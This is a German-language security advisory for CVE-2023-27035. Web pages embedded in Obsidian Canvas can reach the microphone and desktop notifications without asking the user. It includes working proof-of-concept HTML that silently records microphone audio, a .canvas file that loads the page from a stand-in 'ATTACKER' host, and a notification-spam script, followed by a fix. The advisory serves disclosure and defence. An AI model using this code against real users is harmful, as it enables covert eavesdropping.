CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Schwachstellentyp:

Falsche Zugriffskontrolle

Beschreibung:

Ein in Obsidian Canvas 1.1.9 entdecktes Problem ermöglicht es entfernten Angreifern, Desktop-Benachrichtigungen zu senden, Benutzeraudio aufzuzeichnen und andere nicht näher bezeichnete Auswirkungen über eine eingebettete Website auf der Canvas-Seite zu erzielen.

Auswirkung:

Die bösartigen eingebetteten Websites können ohne Erlaubnis und Wissen des Benutzers auf sensible WEB-APIs in der Obsidian-Anwendung zugreifen. Beispielsweise können sie stillschweigend das Mikrofon des Benutzers aufzeichnen oder im Namen der Obsidian-Anwendung Desktop-Benachrichtigungen senden, ohne Wissen oder ausdrückliche Genehmigung des Benutzers.

Die Ursache dieses Problems ist das Fehlen des Sitzungsberechtigungsanfrage-Handlers (Session Permission Request handler) in der Anwendung.

Betroffenes Produkt:

• Obsidian (Canvas-Funktion)

Betroffene Versionen:

• 1.1.9 < 1.1.14

Schritte zur Reproduktion:

1. Erstellen und hosten Sie eine HTML-Datei mit folgendem Inhalt (die Seite zeichnet 5 Sekunden Audio vom Mikrofon auf und gibt es dann wieder).

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>

2. Erstellen Sie eine leere Canvas und drücken Sie „Webseite hinzufügen“, fügen Sie den Link zu poc1.html ein ODER erstellen Sie die folgende .canvas-Datei (url-Parameter zeigt auf unsere Seite auf dem Server):

{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}

3. Öffnen Sie die Canvas-Datei in Obsidian. Die Aufnahme startet sofort, nach 5 Sekunden wird sie wiedergegeben.

Benachrichtigungen PoC:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

Abhilfe:

Implementieren Sie den Electron Session Permission Request Handler, um Berechtigungsanfragen von den eingebetteten Seiten zu behandeln. Der Zugriff auf Web-APIs muss vom Benutzer ausdrücklich gewährt oder standardmäßig verweigert werden.

Referenzen:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27035
• https://forum.obsidian.md/t/embedded-web-pages-in-obsidian-canvas-can-use-sensitive-web-apis-without-the-users-permission-grant/54509
• https://forum.obsidian.md/t/obsidian-release-v1-1-14-insider-build/54595
• https://www.electronjs.org/docs/latest/api/session#sessetpermissionrequesthandlerhandler